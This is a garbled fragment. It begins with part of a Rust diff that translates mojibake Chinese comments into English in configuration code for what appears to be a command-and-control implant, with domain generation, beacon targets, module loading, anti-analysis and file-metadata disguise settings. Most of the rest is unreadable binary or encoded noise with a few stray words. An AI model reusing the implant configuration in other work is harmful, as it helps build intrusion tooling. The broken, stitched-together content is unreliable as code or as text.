æ£€æŸ¥æ˜¯å¦æ”¯æŒDGAï¼ˆåªæœ‰æ˜¾å¼é…置了domain_suffixæ‰æ”¯æŒï¼‰ + /// Check if DGA is supported (only if domain_suffix is explicitly configured) pub fn supports_dga(&self) -> bool { self.domain_suffix.is_some() } - /// 获å–域ååŽç¼€ + /// Get the domain suffix pub fn get_domain_suffix(&self) -> Option<&String> { self.domain_suffix.as_ref() } - /// 获å–端å£å· + /// Get the port number #[allow(dead_code)] pub fn get_port(&self) -> String { if let Some(colon_pos) = self.address.rfind(':') { self.address[colon_pos..].to_string() } else { - ":443".to_string() // é»˜è®¤ç«¯å£ + DEFAULT_TLS_PORT.to_string() } } - /// 验è¯åŸŸååŽç¼€é…ç½® + /// Validate domain suffix configuration pub fn validate_domain_suffix(&self) -> anyhow::Result<()> { if let Some(ref suffix) = self.domain_suffix { if suffix.is_empty() { return Err(anyhow::anyhow!("domain_suffix cannot be empty")); } - // 验è¯åŽç¼€ä¸æ˜¯IPåœ°å€ + // Validate that suffix is not an IP address if suffix.parse::().is_ok() { return Err(anyhow::anyhow!( "domain_suffix cannot be an IP address: {}", @@ -315,7 +346,7 @@ impl TargetConfig { )); } - // 验è¯åŽç¼€æ˜¯æœ‰æ•ˆçš„åŸŸåæ ¼å¼ + // Validate that suffix is a valid domain format if suffix.contains(':') { return Err(anyhow::anyhow!( "domain_suffix should not contain port: {}", @@ -326,16 +357,16 @@ impl TargetConfig { Ok(()) } - /// 验è¯ç›®æ ‡é…置的有效性 + /// Validate the target configuration pub fn validate(&self) -> anyhow::Result<()> { if self.address.is_empty() { return Err(anyhow::anyhow!("Target address cannot be empty")); } - // 验è¯åŸŸååŽç¼€é…ç½® + // Validate domain suffix configuration // self.validate_domain_suffix()?; - // 验è¯åè®®é…置互斥性 + // Validate protocol configuration exclusivity let protocol_count = [self.http.is_some(), self.rem.is_some()] .iter() .filter(|&&x| x) @@ -347,7 +378,7 @@ impl TargetConfig { )); } - // 验è¯HTTPé…ç½® + // Validate HTTP configuration if let Some(http_config) = &self.http { if http_config.method.is_empty() || http_config.path.is_empty() { return Err(anyhow::anyhow!("HTTP method and path are required")); @@ -376,7 +407,7 @@ impl HttpConfig { } impl BasicConfig { - /// éªŒè¯æ‰€æœ‰ç›®æ ‡é…ç½® + /// Validate all target configurations pub fn validate_targets(&self) -> anyhow::Result<()> { if self.targets.is_empty() { return Ok(()); @@ -388,16 +419,16 @@ impl BasicConfig { .map_err(|e| anyhow::anyhow!("Target {} validation failed: {}", index, e))?; } - // 验è¯DGAé…ç½® + // Validate DGA configuration self.validate_dga_config()?; - // éªŒè¯æ˜¯å¦æœ‰é‡å¤çš„address + // Validate for duplicate addresses self.validate_unique_addresses()?; Ok(()) } - /// 验è¯åœ°å€å”¯ä¸€æ€§ + /// Validate address uniqueness fn validate_unique_addresses(&self) -> anyhow::Result<()> { let mut addresses = std::collections::HashSet::new(); for target in &self.targets { @@ -411,26 +442,7 @@ impl BasicConfig { Ok(()) } - /// èŽ·å–æ‰€æœ‰ä½¿ç”¨çš„å议类型 - pub fn get_used_protocols(&self) -> Vec { - let mut protocols = Vec::new(); - for target in &self.targets { - let protocol = target.detect_protocol(); - if !protocols.contains(&protocol) { - protocols.push(protocol); - } - } - protocols - } - - // 检查是å¦å¯ç”¨äº†TLS - pub fn has_tls_enabled(&self) -> bool { - self.targets - .iter() - .any(|t| t.tls.as_ref().map_or(false, |tls| tls.enable)) - } - - /// èŽ·å–æ”¯æŒDGAçš„targets(åªåŒ…å«é…置了dga_suffixçš„targets) + /// Get targets that support DGA (only includes targets with dga_suffix configured) pub fn get_dga_targets(&self) -> Vec<&TargetConfig> { if self.dga.enable { self.targets.iter().filter(|t| t.supports_dga()).collect() @@ -439,13 +451,7 @@ impl BasicConfig { } } - /// èŽ·å–æ‰€æœ‰targets(按é…置顺åºï¼‰ - #[allow(dead_code)] - pub fn get_all_targets(&self) -> Vec<&TargetConfig> { - self.targets.iter().collect() - } - - /// æå–所有域ååŽç¼€ï¼ˆåªä»Žæ˜¾å¼é…置的domain_suffix中æå–) + /// Extract all domain suffixes (only from explicitly configured domain_suffix) pub fn extract_domain_suffixes(&self) -> Vec { if self.dga.enable { self.targets @@ -457,13 +463,7 @@ impl BasicConfig { } } - /// 检查是å¦å¯ç”¨äº†DGA功能 - #[allow(dead_code)] - pub fn has_dga_enabled(&self) -> bool { - self.dga.enable && self.targets.iter().any(|t| t.supports_dga()) - } - - /// 验è¯DGAé…ç½® + /// Validate DGA configuration pub fn validate_dga_config(&self) -> anyhow::Result<()> { if self.dga.enable { if self.dga.key.is_empty() { @@ -485,7 +485,7 @@ impl BasicConfig { )); } - // éªŒè¯æ¯ä¸ªDGA target + // Validate each DGA target for target in dga_targets { target.validate_domain_suffix()?; } @@ -513,6 +513,8 @@ pub struct ImplantConfig { pub r#mod: String, pub register_info: bool, pub hot_load: bool, + #[serde(default = "default_true")] + pub addon: bool, pub modules: Vec, pub enable_3rd: bool, #[serde(rename = "3rd_modules")] @@ -528,6 +530,10 @@ pub struct ImplantConfig { pub anti: Option, } +fn default_true() -> bool { + true +} + #[derive(Debug, Clone, Serialize, Deserialize)] pub struct Flags { pub start: u32, // Acutally it's a u8 @@ -575,7 +581,6 @@ pub struct Alloctor { #[derive(Debug, Clone, Serialize, Deserialize)] pub struct MetaData { - pub remap_path: String, pub icon: String, pub compile_time: String, pub file_version: String, @@ -591,6 +596,104 @@ pub struct MetaData { pub require_uac: bool, } +impl MetaData { + /// Try to pick a random line from `

=+5r>m_o}d{l+`c4Dx*{N(F$7R z*=oh7^9jPDQdVaB9x21}_#~Q#>XhMC$|j9Z78aGV0{32$*C3Uy%loGYhe|mOGR!e!0U6_zVq+X%M-%nFUR!STBBMpPoxR`xJh7EZ zZT0mk!AW7fzr9d6RLa4Z!hK_Xh#4<&Z~RJm9785oo-da0R2tsP(|E z*K9|VZTYr3$FsPJq7UDQFT{d_%<;32ei~lVWma1>q zVkuIlZ)u{-X{p?5w7YvPNYOm}g- zd7#-I?sX3?`D?>33WG`+_>x(cqb)4BT3u`|x%~XHgs0N*>2$dAz=~i301r5xY>t39@ivkYSX{EKj?loKc;+|*iG=%Df(XxWJfGJY%!DrNY* zNu((;&uE5kCU1T!94h6c$6Pi|hW?$uRy?7*xs# z^#>ERDIeT~|8EITrQt*VF@yK}?QZn2FhDSd^S{EOQckE$%8lN^R;ReQIK8sF-CEk` z+q410YihOI0hq;n7~Wi*VFg+Zl^^mU45*v>9V zviWfjVNoe7UCx%}?pH=EvYgX|L!}%PdZL}R94yRTY~$6;^R8UZknmLf!w+L&=bkyN z8gb#zl<-s<{ysQ<@7Nf^#y`MkkF{)^JJ{$Vqu91xAYrLAY{*{I?mK%g zmatSBHa#}6?b7z0wSA~PBZr!Exan@=e~2)sl(7YIY(kn7ZGC!uXr&vQWn!8(3X@8i zA-l?`jb*gC+na5)yVkBP!k|({dM@0ityDxu-|g9Pmv6wQS<5Z&a^X=a&(HTI(wUm~ ziX_vN+rxxMr96LMDB1p%Om)vR&+r~DJSyd-uU}kx(V%A0nE#Iy7L~Hn<99!1wd)8F z)YvjC;i)uyx{om7v7Up~Z?xB4;AeTI(YBls;ZP|DUlRA^ZJO-ekjip%!G_;1;i)uy zx?N3%Uz*_ch#85yG+iq!DrKeH6w8`y9yE&sn4gmpmMSmo@OE}lqqri*svMJ-*GX6^ z4V!LzcS?9F4WDkCY2Z*a-{0Ey!#Uc~6$X_u((R66 zm^nSvD}E&l@$q3rQri&xGNWjOf*qf zqkj5a;ZZ5i=dbeEzm=8`Wn662t``W0N;&wF$X|19i5{DcbFJmaUVkXzsq(_xKIyuZ z*4%!!KJXOA|56E0rQy?Uh7FI|!C|z4ChRLDER}{$_Y1VWg!Rm{-NyTB2}`A6(`9Po zHKWea_Bu#b=!n2rjjdqjMIy2qzQl;#lvG}-fsFZ^*iMm_joYKU|BG(+>%)#O(+7~1|m4;8(W3_=5z_x-mFTNxUDrE%x9=BQ+%I&=}#ctB^ zSHhsmW0a;x$Lix#V_0)CTN|mG)d$v&zYzx2fDEqQ*f~`#BfnU8zAg+ZWu(WX#*W%V zu{u*KR?A6Sz9Aec=>5*C%R{9JydKAAk9*@ZO} zX7lIg!k|hs)Rxhyag-F-zM!3Q>zgg(--SUnFk`HVD&Cs2j9&_aN*U>~SIiE_uy>ZL z%_Urp+qu$T3y(^9>Hac{=Vm*d5B-<0sFal+Z^u{|hhh4y1A`prx5A-Pj&F+tc|F~l z!?T5M4)}M%pi)Ml#y-+V~icRb<<^H=)=bfgGw2F^Wf?tTC1KAKTffc{29+}U zl)qW0!|_1@f3)R(2yO50P${QRURRrQ-QIk2euh&+p z4a}KZY<6rTRIv7(FB~f6q~}>-+=8+x4+$>BgW%g65)~d%DqSwo6#R zxYw_hx=eUf%1d8c#PUDJ5v! zi6C1CuNDTCGWyq@)wyQsn6Rjn)u#?kHkS`#y_J|{{OcNFQ7NlWe%t!!`rc__P${ENep|-& zE^oydTWZ3gQqE=^=f2i~{)O|X_NK5|L?Oc`!`vZEDrIg3bMwGV9kMY0cL|e9nOks- z_v{9=eiwZ&wgQ0DI;x9iedJt@DuRNua2;&l$E}| zO0kfzJ#CCdJbNia}D{VXHaFej8 zl$G}16wA!S4mbCpT{BD6(6!j|yjhr3%Dk*#_w!eO%VUwyRk&2jP5W^k z*KXSaQ%qhyLzq;`Ot&+6Ot+PqV?IlmRLV?`AKX05Xbls|=DE8b5XP?O2!l!)hnLne zCN)_qmic^PQYrI79M9Otr_MP#%+$%O9iMh!{dkdZsFdSvOZ4-ZW1ChdKDK#@FsYR3 z#|}9@W9qM2uZEhpzhKk)a^X=a?>;ylU-L3DU7u_m;OGd4O!{7h5O%yxrD1)0lt^DP zn+)T%!k|)yPfvo8H5Rg2RIoO^L3mWkJFAdf2afdciU#v~OE|{zdNV@U^iXNob8(D& z=4swW!q%sHdmCJJ#2Q z)Eo`}0SQl~;msxxBI@^TVH!uv8j0J+4UD;h#X{lW{XMm}MI?>H4hj zsFZhRA-P5i`BH7|-tGG8&q+8c4R;a3T@drfq#e;GVXa^OrLd@!L#|DATTg5)PGe(&IIo z=k@}DkBVdcE82Nehy|O*e-;*%vb;Yf+FCq+WM36D(O9jnbjG`#y=DsAl;KZ=MWrmC zz62|cDp;F-Asi~@T!7<&y#Q@T%UwG7f~w0c=YNDlWjR+CjyPuN;5YxbzL1W4N8#9e@p$RV8&SRX zVxzbrGp9Oq;h`%ozvxE0SZ`_Q+Sc;Yjhi;!*y_x+SLU0Lmu$Rb^W~d1;`7F(eV755 zzj5zMYkt1D2k%k;&3Z7k;;Pt})^79SDD>3!i4IJ!ch;J8d0|I0NVM z^FHqLEPQ%f85bG%#cw`McRNAt%R1)cKF#s(=eYOB=K=WAiD+<-fj;$&vkU9-$v@MF zn}-MXU!^Zd^f~J=lRO(htu;oaf@-3ev%R zUIR^k8_lerzD>b3DIO4UuY`y-8L=a%zhs{8m@FU0!|xa1-|@&i?~hmai*K~C&}y$H zrPt>znm|W&A_rg ziih;;J4Y&G+wq|OcHE@C{Wc!|i>%`#*WxklbA$YtxGB!Jo)gjK_Uu7}4<;CoTVO+m9!_G487{>kFg0VI8 z9Am4V^T{lZIc)Q7XkA7;Hh;}oOi$)HHgDyer)6=5$GO>zu{HDf_L1U_UH15gv%)(& z48`SJ=6TK*f8N!F~i>9I)!xZom5fajU<*TbEkps6%| z!tYsrvKwOrmP67{xa7p;tVw6mM|gZ{c)W7m?1=H9q+jrOWu`cehn{Y`66rwq zl^&d#l^Xo))3VK_Wz?mG-?P%f`oOxHb?lnFe#%^(@X=lScKM}fpOrl3`mZu5 zT6eBz^W4YdTz;m{UssrL=W{&3IB&UG#{*ON&M?L+pqVa?lc({?Kc^tLiCGOovOKEF6l_V#5R^Ktue@-D}H6h425 zI#4)$9dd%HyWNb3N1;!~H?x~ACLq|JbDVq)e&=a?S-rie<(f}BULMB*47V9Z4~;iF zd$IQh!%pHj=Z|8?U3?77_0%|KoiGt@D0&QGI2PZDFmA+}^iqt~*A{NT@#whxB;??U zg<1Sf-^TiIGREdN;vD`x8lT4mX_0YdGA7gqj z%M632p96~*<2qjPE@c18&}%a{P_6f0m5O0W-KWC z!@K8(!z#$Bv1)O8d!-bQ)#Uvt1BXqj4dr2!rF7%pkZ)NEgJ5gx#8S3nhg2OD%VIk*gA50F2mN5x-)saI5{?p ztt9I+#W7$0XXJ*j%}!5GRcEksS{90>;}X?{?Or zF~SdaV2p+Pe`bs|hc?xXN;7L1CeWkTErD~;up=F8+vmY!+kPYZV?Vy&Z*0?}V;61L z*A@2Q82@_Nm+%lXwzKq5^F@in}TYa)G&G;P=uEjN*pWDS-E}KiOy`9+( zW?!+3>&QakHh*kwp|Lc_H4`Ww|JyM<-~4EQ!*wg>N!zVXbF8rl|M2IXP?&4r0r=M5 zeakYBd{W_%`$fZ^Tv*{NcnO$xuc(ppPtjvD`*2&jgN0k(7RI~2u!Ifw_cxcZBhJd+ zeW~!L#gE4r%*T`9#|y}3|0ivLDWv}SNT2Pva{CT^mgB}YzDLI+i}=p+`QOm%j| z>__R^oOu1v^QNZp$b|t;jgNDE5uQb0J0s&8lec<4&)wwu7a7+i&e;LZRB|knIA^#r zGf|wjZMlqL66efLUOUMhS!s`qTN39~i#sJRLTU7QfqRXT#$mJtC%Sg=0Lm*`^CY$D zmOu{qcHkhwnl=#rLVsGpclr~3h{yPS75}2wfBpReE7((hf!`1*-qTo;z;-x1j4`2g-^4! zpYhkn&%?RAK7Nt={6l=wXJ{+qBI6~{K25wn_V#5R^Ktv@B^W zn)k&B7r9Gg!kSG_(N^)A_vJXAyyiWg*Syml7qD+Rf9)%182(;~Pr2sx-aUYivVVCM z!m>U1)moeH^h4GIKR#l; z;0N@9u8hjsqRe;Leo@ZxD93%D$oiAf-^+QS@j;^Rm-Ef|pgui1;l>Cumyxi~ zpEvBzON;@87adC^#sG3obS#k=x5zm@y`eF{2a)%&F@O)5F$VC5&@GwkpbsG|%bRO& zSQq%+miJmS2B7wR7RQVq!SRpcUv__dOyOfV#y_&?AGh4BzViuu_x05K4%>iFN|-e! zjBf)zjo&Yhg#Sz+{2#mUX?D5|_!Q1%8}KLY^RxK$wlXd<{tUl~eP{!`eObqR+`bL? zoa25TpHInX1AZUByE#~_Nxuq^-^_*k}8d!rH%gWd{W2^AA5C=sVv4 zgT8Zt>sS8H<+X2HzK-wAi*MnRwx)gPn8LSljDIXQp6ko)9~{e%Q~uGh9vB%1t8c6; zeAjW#!dM(r`zBtF$LYTui$|}GHQcdW93S{gcntC2TZbLtden_=kdB7v6}hJe}^rul;a^{ zeRlj1vf?)6?;T#>i1lRib9m&S%LQfd50>q1u;+ICI~TcA%aR6j;(QX%>1#>WEkIGuf^{dN5Zee z_pI>8xbW#?I*#)5H*0V%$JWQX&*SjvZDm|!oPghanmB*s?aMmm%8Ni!tMF9zWe4FX8RoJ-$D{?tf~> z-~Wx{ZvJMvb*S0)-IwS8AC9|q4$=f-7cZILIUe@9vAP_`MrsXggkk1)?uO&ZG5ZN- zO~dVGO~c(VW(0HQnP-0Nx(!_ZI}^YAdoc0qpJNL5!7=_t$1mIPonbg;;aDbr{Ch&- zY{y`^u`F)6nPq6#6yFcWd>!@W#QJ}K34<{+!uT`{;djl z{-5hUAB0bDE8`;LeEcT%q5gaOvX1$fee@8H;l_84B(fg7Xd3?JN{^G`Tu zLnJ(mZDAAMqL26cIKC0b@sejI5f;txp(~U2f5x$`IOd*p(1WNOjQ|q-8Np964v zyEwOT9?p%&PWIPCsSc-iTwH@Q>^EFLm)T41bT-%S|o}`(+=7^>VX> zS!2TZdbt(9N9*Nff$*2R@V;IuJ6$ig;9S+ed!#n2+1n z%c~ss;rQH*@outSUWPnz_0pDtc`C&E;FUOr|5-nG+B^96_p9-vtDl@GU!KFf2>oan zzx(>Ryb4EmzFflZp}M&n$A)Yiylc(HjnWS6#W7bu`6OR&!BqH08d{axnsz#7Im z-sdmI@dx7{@4J>n-=jWX3537Kh4((M?6l91 z;avLsweE8qpWasQ^ON{Z81Q*-ANk2+K5p;xQ;s{0&s#FaqL&~~B0e8^^2+-6r8tiN zO}~T^vE736k209f_gPwIzIOt@Mf}1%8O1j7I{Y5>jjZ|JD$e0w4WBW;$a%hs{xO5| z=^sDFB$@Yti|~Cj{;}O_Fah}Uv7Co zr;N6GOUn}tG^=RkjFUOvy8-76frj=tdf2p=?3?FtJmQD$2|s&(avzQ*ebKMY=Cgvl z_t3&Q{CgZeW4_quSwZ^aeuSYvo{aV?+D2``Z{AnVhrR&+*hVe5xYEbc&mpj{kNRws zv*d!?_JBTn@OT{azKnK|x5}lnq%Yot;}KtswXtj)pM>K{e@w2Mcrwo6-_7`p`D26@ zxvXaVdc^gkzmKr=%MYNP^nSSk-Do?v>1I^GJ^Iif9C{(Xfv>Cr1hKqmKOtj_t?9(R(F4_DuX^-|#Ga^3R_a zy)PI&@7Z$R+V%WBTDP8y@817?7}l-lNtiVzjIUcS!0*wz^};~-7rF3hcDimoALp`e z{h|AOF+Q2cw8z)2mqLquNV~U>{Nynox360-bKIBX^GO-wh+FVG>()f~Ky$K*HvqVH z`Z@R=?!-D(vhQOxRRaaeIi+=lm*9A~q-}fs3Y?RyAID-`IgL2zJ13yMekIP~->dK$ zs~>Ui=<7Rdzh4ao>&YYB^EC7o`l;{#SwEhHf1C$-EspuRLw|k-{&7v*>+s1x@8?l} zd4mhX{@;h8zr0bxtTA=N`^%g0d(>ZU4TOJ-3-A3!*=c`y6V9c-yw!dF5k9@G-e2C1 z--H2w@%E9QJm%x}{_+mTeJ4I2m*Fq3$M5tPdu^eWJG##3Z8#_58_8D0Tywk&=R|$O zuQg(u#kEH7#&Q0=2cI#&NYR3=r?gr0jrW2>-#8b(;r)SS?)`!7srLtMOOGkM-`U~Y z8HP!px2EtxcittLZK8RlyLr((t(9+R^ZY&6b4+UI4~};aVgr+=S-!{lM*fa<>Ib*u zPQ4sJ{b4+7F-`Rm7cYaKP!O`IFY*oX+==^^EVMfRA9Y^>Uq@B_KY2-;wv-Z}K!F0G zRKNu$J z8}14Sh=}0J%gy z)!c!1)q&68ojRy<=c|#=cLL_x>nOh~gUhZ3>Cy~FLC-C!54ZbbB zn*WrAbeUBI-xa!&=Z18nl3QuUVca?;f}%8-w(r9)rtJol3+EienOyE6>&1-esy5s^ z(%p;c#3r79Mw)PbH9>C?wVB?~lMs+xQbRPGe=9FwJA;#SidfyXz-#`CO9B zmyU+c2D81-$(%OKwL-RIdE=v739@9~_~;~q+MGG|pCUdw$DWQsEb$&6kpl>qvi$)3 zVIDl@EEi*#DF1#b z`8U0qw!z8}VZQwPbyof%iBzWErj|~--3IEl5=YXs_nM8#DkGturRnVkW-yRZ=|g=> z(|5Ob(EAlQ#;|>j(uet*rniJ-0VnCtc69K!QU0YkV|kduM)~-Vo1aDDxdYRV?MgS37vm0l3Ll$mNjc=`PrgNzz{k1wc_=L(D%Yfw(&Hg zmTqjjPVddftg-PoMi;4Uy#Daf8Uuj-RkRN2QKTmkL)Z6MF8hMly#71Sj-QS6 zvAsfA5a1lVVa#RX%$*&uJ%qD;#r>6o14B57r)c&;5;iS@g=5mpXVkE{$0gtCW4H%h zBb1TPwB1igynbhGPt7Cv*7oOqIJsfG>6p+`lDW+7{zpE_dvN_-F9r_|Sjg z@?m-o_VDqfK-CMEFK12=jM{q)qaHsWZI#e64EnKiGO8D*ivMg?ssHRpSBE?mhDXbA zI^YW&{uvqk`w2he6ZbpakDdlv_M>NtyFXlwE5o862LKkv4{aZfpAV;DYd^Y1{5=rv zyPzw{IZJeiOh3A1ELNU!aCpC&7X(*g48~q9i`J{bPXS)$af~P2^V~ErYUXoh0q2z@ z)L9(6JP3HV|LxA}P%b%^elTeG%!V8G!DG=aEtk~IL%>U$k(*`n_i2$ge;Zw_lwC92 z+0*7KeF!u%&v9bf8IG%CR}hD9Ir$#0(Wx@9<{`654rx}KG%eU1Et3%V58%g43zy{& z)*r6@t+8;N;>>kjW5$kgJ@9M`w~L^$7K8q??=~kG7~`_}ZTTJH{%+d6xxvPPe!2CU zX~!IY?r_Oprl3|WbePQSv@>6ikbM0)76zg|tC@pu)t9+=pD`J*&+oB$$vlo7HsVxf zVMJU4llNTT%=EG^k9`N>dGKrxDZI+;SBK?_<^7nM^_F9L46V)kzQKtx)Dmm*qb_|- zFb+c+ZiUBr4O2{8^%y7L!hP=E=z8-ol^*72t>ouy3~n($k9P8Np5*5|v};kt1jg>c zt;dh+*p34JIQ*vIU2P%d{4l_(r&R~@;qoad^E_Uz(=1CUm^2~PB>|oO% zhNMD-mhT)-xic^321AAX*aR0hnDsj<>nBJaFzTVKhskrxDFm7{vusWTFKx&&DVyW* zt+KuV@04}jYvGp7bAa=g$&}zE;Q09KV9^ntpma_%PdV>dwc3qi3}NEQxl+w{j5O_b z*{~c?Hksv6lTi+{Gs125Uy`k~*;WTV*Z>$i18{yso zS!8>IZI=M;L(YRf3vkYLHWl;R%$hhX#-ptz?quLNZ%yFHxBJMkH1`VH;aKko8%qOR5?82dy zl+{(>qpY4XD=u5K&Gqn?Kc8%|olm)={ce#sl&nu%+GxDxCL-VdJuiW=9cxS4jxBcC znq$MK1siciuw6$8V6JPvN4H6j8?|-kNY6q zb|CgKLRQr_%brKmj;lx9X3CyL$}8i9{F>1vaRfTbuVlDxRwZ$W6Z5DW{!sS%B#%1r z?dH*1eEafforHf2(iIy+Fk^tc6{4wyhtc%5HTPg_xs`E`jj<-_8XMZ&@xyRDEJ?Sf zfkP6wcNYUx$+5;1Ee4{6kY`6x&M1fL5qBxY1P3!L9EeWfkYPvz^Xz=^GtcUA01fRU zznN#+uib!e{?hrD3tk8~AM#P=c24r$jz#tg5Br5GkE{bO2ze?DkJbSj0bk(o_hs<+ z3qRu%_d8t&CfX2^<)3CJ;7!ZFignOIR0XgKQ)&XY& z&beFKdFD55|G9vXgzK@~b>-&)KHI|Ev2z!@S~kb^-FM-ld&A(P9NhukQ`z~a*mRYh zXkH^1j7oT1YZ=oyW7WGl8X7q;jcsVF+ndmVu$$_Vdgr6A4KQbXs%4OC_!3W4@42 z^XX;y=6Dx>Y2M1i}^b6pT zrNndF9R|Zkw?stN&i)28w5On1hg+D}fyNB%(gyzlINDO+cr;Y3BToEZfoJ<1_?5BF zxY+QAfv>grmf^l)fpN3%WrXIQ*9-IoGiZ}FMw zo&-&krHQ5c3cy!ecq-jj0@rGB@%5OJmoEptBf>|^N}cnkUjdqKAC35NHSp&}_}Jc* zR|2;o!gaa(P<8@$fs1qYt}s9P9h{yI#`tcraPJx0jO$<$k9e~G_D0~G{+q0vuw%$? z2F|U=4}wgSf5j>cCi+NZNeMC!@7J5Iuq1;u0^0- z*1e7#hvb@U+C$nsvqu175q=|hX#>CtOQmaMrv-15`1r@Eg1wCm9lU1%=izp?uL-|G{;^E{E?l$H8Zso< zO&5P*Eckp z#b*bF8{605kY?LuYHD`AAmb7?OnR0dPMopo$CO_b_UKq<*pkV;(sqo(8r!y|jIg@a zHFT{G(>PHa%jD_78SKauO(N%{HC_Fivdcmnu_0}VJivvIjkpDc4O5(z5oLq&7PgOO zmN{q?1J0@b*d$a5!UQ8*(Pj%3I4>~_ZR?3Q@iE*xF7G>hl#maauhg0~U@& zr4Z)pAU02A#R=U!c1c&ZtU`^_70Ey5;|4Q%+96^s=kx4!V?s4=hw{a(SvtE2!~u1gIuz+%LmLLM%t`5z%rHNP z2m3O^Zfk9fiK*tzNQpAQbzr#rg7@}lG1&S9E&NQ`!1}xv^zXwuWVA$@+yQ||!NuZ9 zIgIw@GwYy4eIM2fqb1T53saM&VU@58F+OAY^gfWP$%{(xo!f&0d2rdSu!LoWbJR2I zXVy1ejV)Ny zi}kvVy|^&|$1=5dMtnnkndKI5XGOX*h7-=R(uTADJ6g@sV3B$$v$3&7b(uV2x^OaF zZ+Le3BzP8=$HQ|{tjvQa)80n;$8eUoJehSsoM)-ab4qz}JH_QWwLG3vU7pj*<2lXc z$*iN|=~?FToL*iyr#n1#nRQh>oVrEYh8!EKD_0Kc9G)`epl-3lQ>Gl$Epd3tl!LmZ z4o{hKPGl?zU5G^>&lday3-tT!C&Qd#30k!4g*vnW+r~2cHnu}!ZN>P&c%~gg4;4+Ds1GwfoX>0n@h&OTuR}9~ zR~RMh`|%R>TzA6?F2fCLZcW2@F`wDraKp1LC`nI=`VAMVa#sL5DWUD37#_&%|6szP z5#8NT*LiMgmVLlHscmENK1F7l$n3?%@l3r9d7`SU7cJ1yE2IkJ&x^P5*V@aFL3y8&*1;4@H0MfzoT^M8GIiGEyv{rCi6Vf>I! z8b2RS!`89*Pl~^vf_t534)eW$b1WWrZkr9sh5YzLQO=XP4LFEScn*NY*=6P&1OEW< zGN&2i^SGAfpf<>-L! z8Q-LQQC_s%@4~mrN;HO95!?+ppORyktNI7bwdI%zaAr&+DB{5KyGO$G?_C_vZ*Fa0 zMRi$cd~v=_8Y&OD2=SPQUp z9z$2g%wE{_8-&jU94AI|M#C&jRDWyehg}(C{H+Bo*1~OS!OX`%pXDd)5Ww6uP2?y1 zP{8eaCLBoyTdVNH0Ox^9m=7^)L`aLZj+;Q$fyI#nV_Y4HK8n&GPWr)t(FhsgjsWi5 z3B(7xB9#6}z&ZwSE=q%*M`7doB_wt(aC(3g!(ds=f=#=Z86nSxz{z`0SzurNUhnpELXFD{8)oceOG1;hnOow(V>9cF#GXTzvsQ?mPH8Tt1XH z`awROTjkkM-vrFvvk>uC2Hz514TtN#Nw0bl(dL5h2<`F6zaYI2x2aLL;PMUfd#Kbi z<0f{|-dpm+)aAY}{t=D6w<&(s8$STe*Dx>90UD<7d-!(qAKu}Bx=algc4f!A-y5_j6E9Pu4|x}M5LD_T#*Z>%#8 z*HiJ^T~EbtcRdxu#8i3iXVxQNX`lUJG7o$M(lCYI- z4$|eL`@PU*mQNRk>$H6Mj`Eo&@@iT8!m~;FT^011vq|Y+4tf74@gFFZ74qKWAM^gt zpkv;D8g$J2KjNEtukrsYzJ2lkoA|GK$+iuDY1&-yh|sEB?sWYByZF!chvqliHjjlo z6-JiT?mPkb0*C(}8T?NQKjRbk+m!*k&fsy-vTgHEai4;#ab;Na<7vRc_@Qm1@$=y{ zY;D{8Tl{?n?h&4I41WbU+cv&6y1xbv;%?Vz4UH6cG&P#}``-XAZJO8~AhvgY3!JPg zNa2159M=>?=exxB7X1PETHsL+%K0yG{KLR=JpuT`d#D}->_osiao8xX5i#?}{{k%A zg4y=fe?XILU+rh-kvnJ;XQ6$C%RS9g0XJ-4rLEpBZ6ako2S3=}S`B$;`O;oc*7eK@ z+6tB9D$uGdM>e}Em?H5ZKjE${R|^m2O?fEG(?XsK!=ti118`TC_sig)Df}wSk>6=q zo(@{d^8Vt^f~#>=S*`&r^aHZ2@uUAqoQAEke4zMy5ZtFc?euRTPbkaI8I(9)OB#`A zZ&5zK4I0Wc)(*0h%QkuUh?1cFLz?e`hVt#uu!)qS`w8eM>rQweO`}-uksfa6O z-qLu42Vt@=Z~*8;W}|j8{NUQfgMmxRs-C6Ib~w+{o(&p4hrkVG)$z%xw<9R*I%V@v z@K84I7TILmiL$A7cnRkuD#5nU7Vo339_C=yHsdd zPE1!MlacMC?2@0dtNjYf(MgE!X@IB8xH4EK{<`!NXtZY0FBf{PE9k$j*YxvL1!o8k z<43tj#_vqv{k)aISq?AdB+1)Qf_H_(OSwt%HkIIQ7G5`B>PzIyDi1yTa#`tW5qe*l zD319>Sxd&dwM4wvc;dmezFF~T_t0~^C5!&t67g2qNT(^10hJr>Q#=ge)I)yw^YQdZ zSS8n$nbqE&>%v?(?B8o*_BOJsk*&qJ_W<@3ZCW8;Tp4VT@Jr^gsb4&K?7|VB`z4R-nHX~)Td93Wm@+`- zMtNwyv5s|cf-8X0+D?>4jLnzyq=NrdJ(=^UfRCd zi0^bcRRnz!t`D~kdc@~!#4$*X_edNYTd`pY%M3ixOrTJbJX2%JLC3;R+eVl73J0EZ z-YcE=s_1>cDUUvqwP%}tyX_n1`DUbXD(;#e=IU^+N^aQ1sSQ&eTMTYsEYeO39}sw( z)l4H#7YeLvWYhR++zC;T{oGpx-pO14(1PYhIfgrE;G_9|3LetVe8jj%ZU}IF!nRf- zvt0E|piDlp%!lC*%ltc1=9}>C>gXuGOX=uE5)YLT)1>g%D{wp*1UoQMaX1mGtld~EN-vw^!Z!o~JJJO{X|U7WM`;bh>had5i#;kkgn z&cdTEAv|6lrvvw4i}RMp^MLA!c7nPZlf8D_UCW)84TMOLpfphoWz7ViK3q5N3 z*xuTH;2yTP7`y=ZV;1h+lUoG-NsDik19fCeua(zv;GYJ*i7O_s1FW!SU|8FWlz|rm zj|NY$dI0;q#xNc;5ZyoZ65y&L9IK%4U>@?m6nK~>aGS}=f8oIQ7Aj6 zb`5aunA-8MfQ^ZLM6#X8bvigEbTY=*)ITy*iHU5p^u&a@Y zA`ae4j3>si;`a^WH|sZ!r7;|LeBnmm-F_PB--=)Lw94RZaQQIbxnDTKMRls{7yY4s zT22vtWpI=DRWglj6GIyd#V#zC!(z1wv-ZGAV;U=Id>8y?x|l}3?=rPlcQa2mF@H$Eu-eh4n-k==9eIJW+Nz(xAfc?f&SG4>CG#^svq3<67p3m)YLw)!7wyW}@{(lsHQ2%d{^Cnm(EWe~IeH?J6pE~c#(j9>FVIC6h zmiH%xhvlU_EbmW+JQapV%lk8cyXAdn2LES;U&}l4J6+zN1})3`bK>3wSL3SX{dvGb zKTzHpKl-1rOWL$CQ$H|=T;=n&=8`o)eRlZUE%2&X02*?mUEm2XJfBz>B2ry zwzYXibq;-6)|p>NeB-gQzA{eX=`u0D5GDA*eEf#w`uD-Mi?eQMI- 